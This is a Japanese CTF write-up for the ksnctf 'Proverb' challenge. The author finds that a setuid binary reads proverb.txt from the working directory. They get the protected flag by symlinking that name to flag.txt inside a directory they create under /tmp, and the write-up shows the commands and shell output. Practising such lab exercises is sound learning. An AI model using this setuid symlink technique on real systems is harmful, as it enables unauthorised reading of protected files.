#Proverb
proverb:ことわざ
https://ksnctf.sweetduet.info/problem/13
問題にはssh接続情報が書かれている。
とりあえずssh接続してみる
[q13@bdb358a2cd37 ~]$ ls -l
total 32
-r-------- 1 q13a q13a 22 Feb 25 17:56 flag.txt
---s--x--x 1 q13a q13a 24144 Feb 25 17:56 proverb
-r--r--r-- 1 q13a q13a 755 Feb 25 17:56 proverb.txt
ssh接続してからlsコマンドで何があるか見てみると、3つのファイルがあった。
flag.txtに答えがありそうだけど、権限がないから見れない。
proverb.txtをcatコマンドで見てみる。
[q13@bdb358a2cd37 ~]$ cat proverb.txt
All's well that ends well.
A good beginning makes a good ending.
Many a true word is spoken in jest.
Fear is often greater than the danger.
Go for broke!
Fire is a good servant but a bad master.
The wolf knows what the ill beast thinks.
There is always a next time.
Spare the rod and spoil the child.
The calm before the storm.
The die is cast.
Take heed of the snake in the grass.
Confidence is a plant of slow growth.
Love is blind.
The sky's the limit...
Truth lies at the bottom of a well.
Blood is thicker than water.
Ignorance is bliss.
There's no way out.
Full of courtesy, full of craft.
Heaven helps those who help themselves.
Bad luck often brings good luck.
Misfortunes never come singly.
Nothing ventured, nothing gained.
Eternal Immortality.
英文が表示された。1個目の「All's well that ends well.」の訳は「終わりよければ全てよし。」で、たくさんのことわざが書かれているtxtファイルだった。
次にproverbを実行してみる。
[q13@9e30f4fab8b7 ~]$ ./proverb
The calm before the storm.
[q13@9e30f4fab8b7 ~]$ ./proverb
Nothing ventured, nothing gained.
[q13@9e30f4fab8b7 ~]$ ./proverb
Nothing ventured, nothing gained.
[q13@9e30f4fab8b7 ~]$ ./proverb
There is always a next time.
[q13@9e30f4fab8b7 ~]$ ./proverb
There is always a next time.
[q13@9e30f4fab8b7 ~]$ ./proverb
The calm before the storm.
[q13@9e30f4fab8b7 ~]$ ./proverb
The calm before the storm.
[q13@9e30f4fab8b7 ~]$ ./proverb
Spare the rod and spoil the child.
[q13@9e30f4fab8b7 ~]$ ./proverb
Spare the rod and spoil the child.
[q13@9e30f4fab8b7 ~]$ ./proverb
Ignorance is bliss.
[q13@9e30f4fab8b7 ~]$ ./proverb
Ignorance is bliss.
proverbはproverb.txtを参照して、ことわざの中からランダム(?)に1つ表示するものだと思われる。
proverbがproverb.txtを参照しているため、flag.txtの名前をproverb.txtに変更すればflag.txtの中身を取り出して表示できそう。
mvコマンドで変更してみる。
[q13@59a0771ab01e ~]$ mv flag.txt proverb.txt
mv: replace 'proverb.txt', overriding mode 0444 (r--r--r--)? yes
mv: cannot move 'flag.txt' to 'proverb.txt': Permission denied
権限がなくてできなかった。
cdコマンドで他のディレクトリを見てみる。
[q13@ec02b9eafae3 ~]$ ls
flag.txt proverb proverb.txt
[q13@ec02b9eafae3 ~]$ pwd
/home/q13
[q13@ec02b9eafae3 ~]$ cd ..
[q13@ec02b9eafae3 home]$ ls
q13 q13a
[q13@ec02b9eafae3 home]$ cd q13a
-bash: cd: q13a: Permission denied
[q13@ec02b9eafae3 home]$ cd ..
[q13@ec02b9eafae3 /]$ ls
bin dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var
最初にいたディテクトリは/home/q13だった。とりあえずhomeに移動してlsすると、q13とq13aが見つかった。q13aへ移動しようとしたけど権限がなくてできなかった。さらにホームディレクトリに行ってみると、binやdev等の環境設定用のディレクトリがある。詳しくはここ。
proverbは現在の(実行した時の)ディレクトリに存在するproverb.txtを参照するため。だから書き込み権限があるtmpディレクトリにflag.txtのシンボリックリンクをproverb.txtとして作ったら答えがわかりそう。
シンボリックリンクは、lnコマンドで作る。
以下の例だとaaa.txtというファイルにbbb.txtというシンボリックリンクを作成する。この場合、bbb.txtを開いたり編集したりすることは、aaa.txtを開いたり編集したりすること同じ操作結果になる。
ln -s aaa.txt bbb.txt
やってみる。
[q13@730e50a54f9e ~]$ cd ../..
[q13@730e50a54f9e /]$ ls
bin dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var
[q13@730e50a54f9e /]$ cd tmp
[q13@730e50a54f9e tmp]$ ln -s /home/q13/flag.txt proverb.txt
[q13@730e50a54f9e tmp]$ ls -l
total 8
-rwx------ 1 root root 701 Dec 4 2020 ks-script-esd4my7v
-rwx------ 1 root root 671 Dec 4 2020 ks-script-eusq_sc5
lrwxrwxrwx 1 q13 q13 18 Jul 19 07:13 proverb.txt -> /home/q13/flag.txt
[q13@730e50a54f9e tmp]$
[q13@730e50a54f9e tmp]$
[q13@730e50a54f9e tmp]$
[q13@730e50a54f9e tmp]$ /home/q13/proverb
Failed to open proverb.txt
ます/tmpに移動してln -s /home/q13/flag.txt proverb.txtを実行しシンボリックリンクを作成する。/home/q13/flag.txtは目的のファイルであるflag.txtがある場所のパスで、後ろのproverb.txtはこの名前でシンボリックリンクを作りますっていう意味。ここの名前をproverb.txtにしておかないと、proverbを実行した時に、proverb.txtがありませんっていうエラーが起きる。
/home/q13/proverbで実行してみると、Failed to open proverb.txtと出てきてファイルが開けない。
シンボリックリンクで作ったはずのproverb.txtにアクセスできないっぽい。lsコマンドでproverb.txtはちゃんと作られているのが確認できるから、アクセス権限とかの問題かなと思ったけど詳しいことはよく分からなかった。けど、/tmpに自分で勝手にディレクトリを作って、その場所でシンボリックリンク作って実行したらうまくいった。
[q13@3d3ae583f0e0 ~]$ ls
flag.txt proverb proverb.txt
[q13@3d3ae583f0e0 ~]$ cd ../..
[q13@3d3ae583f0e0 /]$ ls
bin dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var
[q13@3d3ae583f0e0 /]$ cd tmp
[q13@3d3ae583f0e0 tmp]$ mkdir ans
[q13@3d3ae583f0e0 tmp]$ ls
ans ks-script-esd4my7v ks-script-eusq_sc5
[q13@3d3ae583f0e0 tmp]$
[q13@3d3ae583f0e0 tmp]$ cd ans
[q13@3d3ae583f0e0 ans]$
[q13@3d3ae583f0e0 ans]$ ln -s /home/q13/flag.txt proverb.txt
[q13@3d3ae583f0e0 ans]$ ls -l
total 0
lrwxrwxrwx 1 q13 q13 18 Jul 19 07:28 proverb.txt -> /home/q13/flag.txt
[q13@3d3ae583f0e0 ans]$
[q13@3d3ae583f0e0 ans]$
[q13@3d3ae583f0e0 ans]$
[q13@3d3ae583f0e0 ans]$
[q13@3d3ae583f0e0 ans]$ /home/q13/proverb
FLAG_xxxxxxxxxxxxxxxxxxxx
フラグが得られた。
##まとめ
シンボリックシンクをうまく使うことで解くことができた。
proverbを実行した結果から、それがどんなふうに動いているかを推測する力が大切だと思った。
/tmp内にシンボリックリンク作るとなんでフラグが得られなかったのかがわからなかった。この辺りの細かいこともちゃんと理解したい。